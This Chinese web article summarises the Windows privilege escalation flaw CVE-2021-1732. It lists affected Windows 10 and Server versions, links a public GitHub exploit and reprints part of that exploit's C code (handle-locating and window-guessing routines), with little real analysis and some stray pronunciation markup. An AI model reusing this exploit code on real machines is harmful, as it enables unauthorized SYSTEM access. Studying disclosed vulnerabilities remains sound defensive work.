您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)如何解析Windows本地權(quán)限提升漏洞CVE-2021-1732的分析,小編覺得挺實用的,因此分享給大家學(xué)習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
2021年2月10日,微軟修復(fù)了一個Windows本地權(quán)限提升漏洞,漏洞編號為 CVE-2021-1732 ,本地攻擊者可以利用該漏洞將權(quán)限提升為 System ,目前EXP已公開。
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
幾乎影響所有主流 Windows 10 系統(tǒng)
復(fù)現(xiàn)環(huán)境為 Windows 10 專業(yè)版 1903
使用exp可將權(quán)限直接提升為 System
感謝 KaLendsi 師傅提供的EXP源碼,下載地址如下:https://github.com/KaLendsi/CVE-2021-1732-Exploit
部分EXP代碼如下:
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE; } HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize) { QWORD qwBaseAddressBak = *pBaseAddress; QWORD qwBaseAddress = *pBaseAddress; DWORD dwRegionSizeBak = dwRegionSize; HWND hwndMagicWindow = nullptr; do { while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0) { qwBaseAddress += 2; dwRegionSize--; } //獲取不到才會走下面的步驟 if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) { qwBaseAddress = qwBaseAddress + 4; QWORD qwSub = qwBaseAddressBak - qwBaseAddress; dwRegionSize = dwRegionSizeBak + qwSub; } hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8); if (hwndMagicWindow) { break; } } while (true); return hwndMagicWindow; }
以上就是如何解析Windows本地權(quán)限提升漏洞CVE-2021-1732的分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。